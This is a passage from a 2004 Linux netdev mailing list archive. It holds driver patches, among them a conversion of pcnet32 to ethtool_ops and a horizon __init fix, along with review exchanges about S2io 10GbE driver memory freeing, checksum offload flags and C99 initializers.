net_device *dev, struct ethtool_cmd *cmd) +{ + struct pcnet32_private *lp = dev->priv; + unsigned long flags; + + spin_lock_irqsave(&lp->lock, flags); + mii_ethtool_gset(&lp->mii_if, cmd); + spin_unlock_irqrestore(&lp->lock, flags); + return 0; +} + +static int pcnet32_set_settings(struct net_device *dev, struct ethtool_cmd *cmd) +{ + struct pcnet32_private *lp = dev->priv; + unsigned long flags; + int r; + + spin_lock_irqsave(&lp->lock, flags); + r = mii_ethtool_sset(&lp->mii_if, cmd); + spin_unlock_irqrestore(&lp->lock, flags); + return r; +} + +static void pcnet32_get_drvinfo(struct net_device *dev, struct ethtool_drvinfo *info) +{ + struct pcnet32_private *lp = dev->priv; + + strcpy (info->driver, DRV_NAME); + strcpy (info->version, DRV_VERSION); + if (lp->pci_dev) + strcpy (info->bus_info, pci_name(lp->pci_dev)); + else + sprintf(info->bus_info, "VLB 0x%lx", dev->base_addr); +} + +static u32 pcnet32_get_link(struct net_device *dev) +{ + struct pcnet32_private *lp = dev->priv; + unsigned long flags; + int r; + + spin_lock_irqsave(&lp->lock, flags); + r = mii_link_ok(&lp->mii_if); + spin_unlock_irqrestore(&lp->lock, flags); + return r; +} + +static u32 pcnet32_get_msglevel(struct net_device *dev) +{ + struct pcnet32_private *lp = dev->priv; + return lp->msg_enable; +} + +static void pcnet32_set_msglevel(struct net_device *dev, u32 value) +{ + struct pcnet32_private *lp = dev->priv; + lp->msg_enable = value; +} + +static int pcnet32_nway_reset(struct net_device *dev) +{ + struct pcnet32_private *lp = dev->priv; + unsigned long flags; + int r; + + spin_lock_irqsave(&lp->lock, flags); + r = mii_nway_restart(&lp->mii_if); + spin_unlock_irqrestore(&lp->lock, flags); + return r; +} + +static void pcnet32_get_ringparam(struct net_device *dev, struct ethtool_ringparam *ering) +{ + struct pcnet32_private *lp = dev->priv; + + ering->tx_max_pending = TX_RING_SIZE - 1; + ering->tx_pending = lp->cur_tx - lp->dirty_tx; + ering->rx_max_pending = RX_RING_SIZE - 1; + ering->rx_pending = lp->cur_rx & RX_RING_MOD_MASK; +} + +static struct ethtool_ops pcnet32_ethtool_ops = { + .get_settings = pcnet32_get_settings, + .set_settings = pcnet32_set_settings, + .get_drvinfo = pcnet32_get_drvinfo, + .get_msglevel = pcnet32_get_msglevel, + .set_msglevel = pcnet32_set_msglevel, + .nway_reset = pcnet32_nway_reset, + .get_link = pcnet32_get_link, + .get_ringparam = pcnet32_get_ringparam, + .get_tx_csum = ethtool_op_get_tx_csum, + .get_sg = ethtool_op_get_sg, + .get_tso = ethtool_op_get_tso, +}; + /* only probes for non-PCI devices, the rest are handled by * pci_register_driver via pcnet32_probe_pci */ @@ -813,6 +908,7 @@ dev->get_stats = &pcnet32_get_stats; dev->set_multicast_list = &pcnet32_set_multicast_list; dev->do_ioctl = &pcnet32_ioctl; + dev->ethtool_ops = &pcnet32_ethtool_ops; dev->tx_timeout = pcnet32_tx_timeout; dev->watchdog_timeo = (5*HZ); @@ -1588,100 +1684,6 @@ lp->a.write_bcr(ioaddr, 33, phyaddr); } -static int pcnet32_ethtool_ioctl (struct net_device *dev, void *useraddr) -{ - struct pcnet32_private *lp = dev->priv; - u32 ethcmd; - int phyaddr = 0; - int phy_id = 0; - unsigned long ioaddr = dev->base_addr; - - if (lp->mii) { - phyaddr = lp->a.read_bcr (ioaddr, 33); - phy_id = (phyaddr >> 5) & 0x1f; - lp->mii_if.phy_id = phy_id; - } - - if (copy_from_user (ðcmd, useraddr, sizeof (ethcmd))) - return -EFAULT; - - switch (ethcmd) { - case ETHTOOL_GDRVINFO: { - struct ethtool_drvinfo info = { ETHTOOL_GDRVINFO }; - strcpy (info.driver, DRV_NAME); - strcpy (info.version, DRV_VERSION); - if (lp->pci_dev) - strcpy (info.bus_info, pci_name(lp->pci_dev)); - else - sprintf(info.bus_info, "VLB 0x%lx", dev->base_addr); - if (copy_to_user (useraddr, &info, sizeof (info))) - return -EFAULT; - return 0; - } - - /* get settings */ - case ETHTOOL_GSET: { - struct ethtool_cmd ecmd = { ETHTOOL_GSET }; - spin_lock_irq(&lp->lock); - mii_ethtool_gset(&lp->mii_if, &ecmd); - spin_unlock_irq(&lp->lock); - if (copy_to_user(useraddr, &ecmd, sizeof(ecmd))) - return -EFAULT; - return 0; - } - /* set settings */ - case ETHTOOL_SSET: { - int r; - struct ethtool_cmd ecmd; - if (copy_from_user(&ecmd, useraddr, sizeof(ecmd))) - return -EFAULT; - spin_lock_irq(&lp->lock); - r = mii_ethtool_sset(&lp->mii_if, &ecmd); - spin_unlock_irq(&lp->lock); - return r; - } - /* restart autonegotiation */ - case ETHTOOL_NWAY_RST: { - int r; - spin_lock_irq(&lp->lock); - r = mii_nway_restart(&lp->mii_if); - spin_unlock_irq(&lp->lock); - return r; - } - /* get link status */ - case ETHTOOL_GLINK: { - struct ethtool_value edata = {ETHTOOL_GLINK}; - spin_lock_irq(&lp->lock); - edata.data = mii_link_ok(&lp->mii_if); - spin_unlock_irq(&lp->lock); - if (copy_to_user(useraddr, &edata, sizeof(edata))) - return -EFAULT; - return 0; - } - - /* get message-level */ - case ETHTOOL_GMSGLVL: { - struct ethtool_value edata = {ETHTOOL_GMSGLVL}; - edata.data = lp->msg_enable; - if (copy_to_user(useraddr, &edata, sizeof(edata))) - return -EFAULT; - return 0; - } - /* set message-level */ - case ETHTOOL_SMSGLVL: { - struct ethtool_value edata; - if (copy_from_user(&edata, useraddr, sizeof(edata))) - return -EFAULT; - lp->msg_enable = edata.data; - return 0; - } - default: - break; - } - - return -EOPNOTSUPP; -} - static int pcnet32_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { struct pcnet32_private *lp = dev->priv; @@ -1689,9 +1691,6 @@ int rc; unsigned long flags; - if (cmd == SIOCETHTOOL) - return pcnet32_ethtool_ioctl(dev, (void *) rq->ifr_data); - /* SIOC[GS]MIIxxx ioctls */ if (lp->mii) { spin_lock_irqsave(&lp->lock, flags); -- Don Fry brazilnut@us.ibm.com From brazilnut@us.ibm.com Thu Feb 19 15:35:11 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Feb 2004 15:35:16 -0800 (PST) Received: from e31.co.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1JNZAKO005721 for ; Thu, 19 Feb 2004 15:35:10 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e31.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1JNZ3ba052996; Thu, 19 Feb 2004 18:35:03 -0500 Received: from DYN318364BLD.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1JNZ1GE083794; Thu, 19 Feb 2004 16:35:02 -0700 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i1JNYCj05677; Thu, 19 Feb 2004 15:34:12 -0800 From: Don Fry Message-Id: <200402192334.i1JNYCj05677@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH] 2.4.25 pcnet32.c change to use ethtool_ops To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Thu, 19 Feb 2004 15:34:12 -0800 (PST) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3428 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev This changes the driver to use ethtool_ops to be more modular. There is a net delta of just a one line between the two implementations, but permission checking and copying to/from user space, etc. is all done in a consistent manner by ethtool.c Tested IA32 --- linux-2.4.25/drivers/net/net.pcnet32.c Thu Feb 19 14:42:17 2004 +++ linux-2.4.25/drivers/net/pcnet32.c Thu Feb 19 15:15:01 2004 @@ -462,6 +462,100 @@ +static int pcnet32_get_settings(struct net_device *dev, struct ethtool_cmd *cmd) +{ + struct pcnet32_private *lp = dev->priv; + unsigned long flags; + + spin_lock_irqsave(&lp->lock, flags); + mii_ethtool_gset(&lp->mii_if, cmd); + spin_unlock_irqrestore(&lp->lock, flags); + return 0; +} + +static int pcnet32_set_settings(struct net_device *dev, struct ethtool_cmd *cmd) +{ + struct pcnet32_private *lp = dev->priv; + unsigned long flags; + int r; + + spin_lock_irqsave(&lp->lock, flags); + r = mii_ethtool_sset(&lp->mii_if, cmd); + spin_unlock_irqrestore(&lp->lock, flags); + return r; +} + +static void pcnet32_get_drvinfo(struct net_device *dev, struct ethtool_drvinfo *info) +{ + struct pcnet32_private *lp = dev->priv; + + strcpy (info->driver, DRV_NAME); + strcpy (info->version, DRV_VERSION); + if (lp->pci_dev) + strcpy (info->bus_info, pci_name(lp->pci_dev)); + else + sprintf(info->bus_info, "VLB 0x%lx", dev->base_addr); +} + +static u32 pcnet32_get_link(struct net_device *dev) +{ + struct pcnet32_private *lp = dev->priv; + unsigned long flags; + int r; + + spin_lock_irqsave(&lp->lock, flags); + r = mii_link_ok(&lp->mii_if); + spin_unlock_irqrestore(&lp->lock, flags); + return r; +} + +static u32 pcnet32_get_msglevel(struct net_device *dev) +{ + struct pcnet32_private *lp = dev->priv; + return lp->msg_enable; +} + +static void pcnet32_set_msglevel(struct net_device *dev, u32 value) +{ + struct pcnet32_private *lp = dev->priv; + lp->msg_enable = value; +} + +static int pcnet32_nway_reset(struct net_device *dev) +{ + struct pcnet32_private *lp = dev->priv; + unsigned long flags; + int r; + + spin_lock_irqsave(&lp->lock, flags); + r = mii_nway_restart(&lp->mii_if); + spin_unlock_irqrestore(&lp->lock, flags); + return r; +} + +static void pcnet32_get_ringparam(struct net_device *dev, struct ethtool_ringparam *ering) +{ + struct pcnet32_private *lp = dev->priv; + + ering->tx_max_pending = TX_RING_SIZE - 1; + ering->tx_pending = lp->cur_tx - lp->dirty_tx; + ering->rx_max_pending = RX_RING_SIZE - 1; + ering->rx_pending = lp->cur_rx & RX_RING_MOD_MASK; +} + +static struct ethtool_ops pcnet32_ethtool_ops = { + .get_settings = pcnet32_get_settings, + .set_settings = pcnet32_set_settings, + .get_drvinfo = pcnet32_get_drvinfo, + .get_msglevel = pcnet32_get_msglevel, + .set_msglevel = pcnet32_set_msglevel, + .nway_reset = pcnet32_nway_reset, + .get_link = pcnet32_get_link, + .get_ringparam = pcnet32_get_ringparam, + .get_tx_csum = ethtool_op_get_tx_csum, + .get_sg = ethtool_op_get_sg, +}; + /* only probes for non-PCI devices, the rest are handled by * pci_register_driver via pcnet32_probe_pci */ @@ -799,6 +893,7 @@ dev->get_stats = &pcnet32_get_stats; dev->set_multicast_list = &pcnet32_set_multicast_list; dev->do_ioctl = &pcnet32_ioctl; + dev->ethtool_ops = &pcnet32_ethtool_ops; dev->tx_timeout = pcnet32_tx_timeout; dev->watchdog_timeo = (5*HZ); @@ -1557,100 +1652,6 @@ lp->a.write_bcr(ioaddr, 33, phyaddr); } -static int pcnet32_ethtool_ioctl (struct net_device *dev, void *useraddr) -{ - struct pcnet32_private *lp = dev->priv; - u32 ethcmd; - int phyaddr = 0; - int phy_id = 0; - unsigned long ioaddr = dev->base_addr; - - if (lp->mii) { - phyaddr = lp->a.read_bcr (ioaddr, 33); - phy_id = (phyaddr >> 5) & 0x1f; - lp->mii_if.phy_id = phy_id; - } - - if (copy_from_user (ðcmd, useraddr, sizeof (ethcmd))) - return -EFAULT; - - switch (ethcmd) { - case ETHTOOL_GDRVINFO: { - struct ethtool_drvinfo info = { ETHTOOL_GDRVINFO }; - strcpy (info.driver, DRV_NAME); - strcpy (info.version, DRV_VERSION); - if (lp->pci_dev) - strcpy (info.bus_info, lp->pci_dev->slot_name); - else - sprintf(info.bus_info, "VLB 0x%lx", dev->base_addr); - if (copy_to_user (useraddr, &info, sizeof (info))) - return -EFAULT; - return 0; - } - - /* get settings */ - case ETHTOOL_GSET: { - struct ethtool_cmd ecmd = { ETHTOOL_GSET }; - spin_lock_irq(&lp->lock); - mii_ethtool_gset(&lp->mii_if, &ecmd); - spin_unlock_irq(&lp->lock); - if (copy_to_user(useraddr, &ecmd, sizeof(ecmd))) - return -EFAULT; - return 0; - } - /* set settings */ - case ETHTOOL_SSET: { - int r; - struct ethtool_cmd ecmd; - if (copy_from_user(&ecmd, useraddr, sizeof(ecmd))) - return -EFAULT; - spin_lock_irq(&lp->lock); - r = mii_ethtool_sset(&lp->mii_if, &ecmd); - spin_unlock_irq(&lp->lock); - return r; - } - /* restart autonegotiation */ - case ETHTOOL_NWAY_RST: { - int r; - spin_lock_irq(&lp->lock); - r = mii_nway_restart(&lp->mii_if); - spin_unlock_irq(&lp->lock); - return r; - } - /* get link status */ - case ETHTOOL_GLINK: { - struct ethtool_value edata = {ETHTOOL_GLINK}; - spin_lock_irq(&lp->lock); - edata.data = mii_link_ok(&lp->mii_if); - spin_unlock_irq(&lp->lock); - if (copy_to_user(useraddr, &edata, sizeof(edata))) - return -EFAULT; - return 0; - } - - /* get message-level */ - case ETHTOOL_GMSGLVL: { - struct ethtool_value edata = {ETHTOOL_GMSGLVL}; - edata.data = lp->msg_enable; - if (copy_to_user(useraddr, &edata, sizeof(edata))) - return -EFAULT; - return 0; - } - /* set message-level */ - case ETHTOOL_SMSGLVL: { - struct ethtool_value edata; - if (copy_from_user(&edata, useraddr, sizeof(edata))) - return -EFAULT; - lp->msg_enable = edata.data; - return 0; - } - default: - break; - } - - return -EOPNOTSUPP; -} - static int pcnet32_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { struct pcnet32_private *lp = dev->priv; @@ -1658,9 +1659,6 @@ int rc; unsigned long flags; - if (cmd == SIOCETHTOOL) - return pcnet32_ethtool_ioctl(dev, (void *) rq->ifr_data); - /* SIOC[GS]MIIxxx ioctls */ if (lp->mii) { spin_lock_irqsave(&lp->lock, flags); -- Don Fry brazilnut@us.ibm.com From rddunlap@osdl.org Thu Feb 19 15:57:12 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Feb 2004 15:57:20 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1JNvAKO007344 for ; Thu, 19 Feb 2004 15:57:12 -0800 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1JNv4E28833; Thu, 19 Feb 2004 15:57:04 -0800 Date: Thu, 19 Feb 2004 15:49:41 -0800 From: "Randy.Dunlap" To: netdev@oss.sgi.com Cc: chas@cmf.nrl.navy.mil Subject: [PATCH] horizon: make reset function not __init Message-Id: <20040219154941.0d0f5a7a.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3429 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Please apply to 2.6.current. product_versions: linux-263 description: This function can be called by init or exit code, so it shouldn't be marked __init. diffstat:= drivers/atm/horizon.c | 2 +- 1 files changed, 1 insertion(+), 1 deletion(-) diff -Naurp ./drivers/atm/horizon.c~hrzinit ./drivers/atm/horizon.c --- ./drivers/atm/horizon.c~hrzinit 2004-02-17 19:57:11.000000000 -0800 +++ ./drivers/atm/horizon.c 2004-02-19 15:19:18.000000000 -0800 @@ -1802,7 +1802,7 @@ static int hrz_send (struct atm_vcc * at /********** reset a card **********/ -static void __init hrz_reset (const hrz_dev * dev) { +static void hrz_reset (const hrz_dev * dev) { u32 control_0_reg = rd_regl (dev, CONTROL_0_REG); // why not set RESET_HORIZON to one and wait for the card to -- ~Randy From greg@kroah.com Thu Feb 19 16:51:30 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Feb 2004 16:51:33 -0800 (PST) Received: from perch.kroah.org (mail.kroah.org [65.200.24.183]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1K0pUKO011095 for ; Thu, 19 Feb 2004 16:51:30 -0800 Received: from [9.47.21.75] (bi01p1.co.us.ibm.com [32.97.110.142]) (authenticated) by perch.kroah.org (8.11.6/8.11.6) with ESMTP id i1K0o6U21812; Thu, 19 Feb 2004 16:50:06 -0800 Received: from greg by echidna.kroah.org with local (masqmail 0.2.19) id 1AtyS1-4Et-00; Thu, 19 Feb 2004 16:23:29 -0800 Date: Thu, 19 Feb 2004 16:23:28 -0800 From: Greg KH To: Stephen Hemminger Cc: Tommi Virtanen , Leann Ogasawara , netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: [PATCH] propogate errors from misc_register to caller Message-ID: <20040220002328.GE16267@kroah.com> References: <20040213102755.27cf4fcd.shemminger@osdl.org> <20040213112100.4f42abc2@dell_ss3.pdx.osdl.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040213112100.4f42abc2@dell_ss3.pdx.osdl.net> User-Agent: Mutt/1.4.1i X-archive-position: 3430 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greg@kroah.com Precedence: bulk X-list: netdev On Fri, Feb 13, 2004 at 11:21:00AM -0800, Stephen Hemminger wrote: > The patch to check for / in class_device is not enough. > The misc_register function needs to check return value of the things it calls! Applied to my trees, thanks. greg k-h From ravinandan.arakali@s2io.com Thu Feb 19 18:33:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Feb 2004 18:33:36 -0800 (PST) Received: from ns1.s2io.com (ns1.s2io.com [216.209.86.101]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1K2XUKO013857 for ; Thu, 19 Feb 2004 18:33:31 -0800 Received: from guinness.s2io.com (gateway.s2io.com [216.209.86.98]) by ns1.s2io.com (8.12.10/8.12.10) with ESMTP id i1K2XOjF013338; Thu, 19 Feb 2004 21:33:24 -0500 (EST) Received: from DDXZYJ21 ([10.16.16.142]) by guinness.s2io.com (8.12.6/8.12.6) with ESMTP id i1K2XMKK028647; Thu, 19 Feb 2004 21:33:22 -0500 (EST) From: "ravinandan arakali" To: "'Jeff Garzik'" , Cc: , , Subject: RE: Submission for S2io 10GbE driver Date: Thu, 19 Feb 2004 18:33:35 -0800 Message-ID: <002701c3f759$f14dbea0$8e10100a@S2IOtech.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.3416 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 In-Reply-To: <40347076.8030105@pobox.com> X-Spam-Score: -102.5 X-Spam-Outlook-Score: () X-Spam-Features: EMAIL_ATTRIBUTION,IN_REP_TO,ORIGINAL_MESSAGE,QUOTED_EMAIL_TEXT,REPLY_WITH_QUOTES,USER_IN_WHITELIST X-Scanned-By: MIMEDefang 2.34 X-archive-position: 3431 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ravinandan.arakali@s2io.com Precedence: bulk X-list: netdev Hi Jeff, For #7, the temporary variable tmp_v_addr is assigned as follows (immediately below the code you have quoted): nic->rx_blocks[i][j].block_virt_addr = tmp_v_addr; In the freeSharedMem() routine, we go thru' each block of each receive ring and free it. Following is the relevant piece of code: for (i = 0; i < config->RxRingNum; i++) { blk_cnt = nic->block_count[i]; for (j = 0; j < blk_cnt; j++) { tmp_v_addr = nic->rx_blocks[i][j].block_virt_addr; tmp_p_addr = nic->rx_blocks[i][j].block_dma_addr; pci_free_consistent(nic->pdev, size, tmp_v_addr, tmp_p_addr); } } But I guess in the above piece of code, it may be a good idea to check if nic->rx_blocks[i][j].block_virt_addr is non-NULL before doing the pci_free_consistent(). Thanks, Ravi -----Original Message----- From: Jeff Garzik [mailto:jgarzik@pobox.com] Sent: Thursday, February 19, 2004 12:15 AM To: raghavendra.koushik@wipro.com Cc: leonid.grossman@s2io.com; netdev@oss.sgi.com; raghavendra.koushik@s2io.com; ravinandan.arakali@s2io.com Subject: Re: Submission for S2io 10GbE driver raghavendra.koushik@wipro.com wrote: > Hi Jeff, > > 1. points 7 and 8, when initSharedMem returns error, I call > freeSharedMem which should free any partially alloced memory. For #8 quite possibly, and if so, I stand corrected. For #7, it's a temporary variable so this would be impossible. > 2. For point 17 and 33 > We do support IPV6 checksum offload. There is one issue though, > our hardware only says whether the checksum is Ok or not it does > not actually return the checksum values! [...] > If I say features as NETIF_F_IP_CSUM instead of NETIF_F_HW_CSUM, > then I cannot utilize it's entire gamut of checksum offload feature > as the offload will be limited to just TCP/UDP over IPV4. Correct. Your hardware cannot utilize NETIF_F_HW_CSUM. You must be able to supply a valid csum from hardware, to use NETIF_F_HW_CSUM. Using NETIF_F_HW_CSUM as s2io does is abuse of the API, and prone to breakage... For the future, it sounds like you should create a NETIF_F_IPV6_CSUM that works for both IPv4 and IPv6, and more closely matches your hardware. We need to do this anyway, because most future cards will almost certainly offload IPv6 as well as IPv4. For the present, NETIF_F_IP_CSUM is unfortunately your only choice. Zero-copy only occurs for sendfile(2) system call, which works fine with NETIF_F_IP_CSUM, so no big deal. In general, I certainly want to encourage s2io to participate in adding features to Linux that is needed to more fully utilize the hardware. Some of the proposed features might not be appropriate, but adding NETIF_F_IPV6_CSUM for you guys certainly seems reasonable. Jeff From ravinandan.arakali@s2io.com Thu Feb 19 18:59:55 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Feb 2004 18:59:58 -0800 (PST) Received: from ns1.s2io.com (ns1.s2io.com [216.209.86.101]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1K2xsKO014949 for ; Thu, 19 Feb 2004 18:59:54 -0800 Received: from guinness.s2io.com (gateway.s2io.com [216.209.86.98]) by ns1.s2io.com (8.12.10/8.12.10) with ESMTP id i1K2xmjF013439; Thu, 19 Feb 2004 21:59:48 -0500 (EST) Received: from DDXZYJ21 ([10.16.16.142]) by guinness.s2io.com (8.12.6/8.12.6) with ESMTP id i1K2xkKK002174; Thu, 19 Feb 2004 21:59:46 -0500 (EST) From: "ravinandan arakali" To: "'Jeff Garzik'" Cc: , , , Subject: RE: Submission for S2io 10GbE driver Date: Thu, 19 Feb 2004 18:59:59 -0800 Message-ID: <002e01c3f75d$a1413410$8e10100a@S2IOtech.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.3416 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 In-Reply-To: <403573B5.4050100@pobox.com> X-Spam-Score: -102.5 X-Spam-Outlook-Score: () X-Spam-Features: EMAIL_ATTRIBUTION,IN_REP_TO,ORIGINAL_MESSAGE,QUOTED_EMAIL_TEXT,REPLY_WITH_QUOTES,USER_IN_WHITELIST X-Scanned-By: MIMEDefang 2.34 X-archive-position: 3432 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ravinandan.arakali@s2io.com Precedence: bulk X-list: netdev Hi Jeff, Since the whole nic structure is zeroed out initially, the "block_virt_addr" is initially NULL. So, if the allocation succeeds, it will hold a non-NULL value. So, in the freeSharedMem() if we check for it's non-NULL value and free it, we should be okay. Do you agree ? Thanks, Ravi -----Original Message----- From: Jeff Garzik [mailto:jgarzik@pobox.com] Sent: Thursday, February 19, 2004 6:41 PM To: ravinandan arakali Cc: raghavendra.koushik@wipro.com; leonid.grossman@s2io.com; netdev@oss.sgi.com; raghavendra.koushik@s2io.com Subject: Re: Submission for S2io 10GbE driver ravinandan arakali wrote: > Hi Jeff, > For #7, the temporary variable tmp_v_addr is assigned as follows > (immediately below the code you have quoted): > > nic->rx_blocks[i][j].block_virt_addr = tmp_v_addr; Yes... but only after the allocation. > In the freeSharedMem() routine, we go thru' each block of each > receive ring and free it. Following is the relevant piece of > code: > for (i = 0; i < config->RxRingNum; i++) { > blk_cnt = nic->block_count[i]; > for (j = 0; j < blk_cnt; j++) { > tmp_v_addr = nic->rx_blocks[i][j].block_virt_addr; > tmp_p_addr = nic->rx_blocks[i][j].block_dma_addr; > pci_free_consistent(nic->pdev, size, tmp_v_addr, tmp_p_addr); > } > } > > But I guess in the above piece of code, it may be a good idea to > check if nic->rx_blocks[i][j].block_virt_addr is non-NULL before > doing the pci_free_consistent(). Yes, you could add the check there. Jeff From jgarzik@pobox.com Thu Feb 19 19:30:15 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Feb 2004 19:30:27 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1K3UEKO016020 for ; Thu, 19 Feb 2004 19:30:15 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:40281 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1Au1Mi-0000Ls-GB; Fri, 20 Feb 2004 03:30:12 +0000 Message-ID: <40357F38.6040701@pobox.com> Date: Thu, 19 Feb 2004 22:30:00 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: ravinandan arakali CC: raghavendra.koushik@wipro.com, leonid.grossman@s2io.com, netdev@oss.sgi.com, raghavendra.koushik@s2io.com Subject: Re: Submission for S2io 10GbE driver References: <002e01c3f75d$a1413410$8e10100a@S2IOtech.com> In-Reply-To: <002e01c3f75d$a1413410$8e10100a@S2IOtech.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3433 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev ravinandan arakali wrote: > Hi Jeff, > Since the whole nic structure is zeroed out initially, the > "block_virt_addr" is initially NULL. So, if the allocation > succeeds, it will hold a non-NULL value. > So, in the freeSharedMem() if we check for it's non-NULL > value and free it, we should be okay. Do you agree ? Yes, agreed, sorry if I was not clear earlier. Jeff From jgarzik@pobox.com Thu Feb 19 20:27:37 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Feb 2004 20:27:45 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1K4RZKO020032 for ; Thu, 19 Feb 2004 20:27:36 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:40169 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AtyTa-0006fz-6X; Fri, 20 Feb 2004 00:25:06 +0000 Message-ID: <403553D6.60101@pobox.com> Date: Thu, 19 Feb 2004 19:24:54 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Art Haas CC: netdev@oss.sgi.com, "David S. Miller" Subject: Re: [PATCH] Add C99 initializers to ethtool.c References: <20040219001633.GC9704@artsapartment.org> In-Reply-To: <20040219001633.GC9704@artsapartment.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3434 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Art Haas wrote: > Hi. > > Here's a little patch adding C99 initializers to ethtool.c. The patch is > against the current BK, and the file has been recompiled with the > changes successfully. > > This patch and the one I just sent for the netfilter file were changed > to make the code easier to read and to remove warnings if a '-W' flag is > added to the compile command. > > Art Haas > > ===== net/core/ethtool.c 1.9 vs edited ===== > --- 1.9/net/core/ethtool.c Sun Oct 12 06:18:38 2003 > +++ edited/net/core/ethtool.c Wed Feb 18 17:22:52 2004 > @@ -76,7 +76,7 @@ > > static int ethtool_get_settings(struct net_device *dev, void *useraddr) > { > - struct ethtool_cmd cmd = { ETHTOOL_GSET }; > + struct ethtool_cmd cmd = { .cmd = ETHTOOL_GSET }; > int err; > > if (!dev->ethtool_ops->get_settings) > @@ -168,7 +168,7 @@ > > static int ethtool_get_wol(struct net_device *dev, char *useraddr) > { > - struct ethtool_wolinfo wol = { ETHTOOL_GWOL }; > + struct ethtool_wolinfo wol = { .cmd = ETHTOOL_GWOL }; > > if (!dev->ethtool_ops->get_wol) > return -EOPNOTSUPP; Since it doesn't warn without -W, I would rather leave it in its more compact form... Jeff From yasuyuki.kozakai@toshiba.co.jp Thu Feb 19 21:34:46 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Feb 2004 21:34:49 -0800 (PST) Received: from inet-tsb.toshiba.co.jp (inet-tsb.toshiba.co.jp [202.33.96.40]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1K5YiKO021264 for ; Thu, 19 Feb 2004 21:34:45 -0800 Received: from tsb-wall.toshiba.co.jp ([133.199.160.134]) 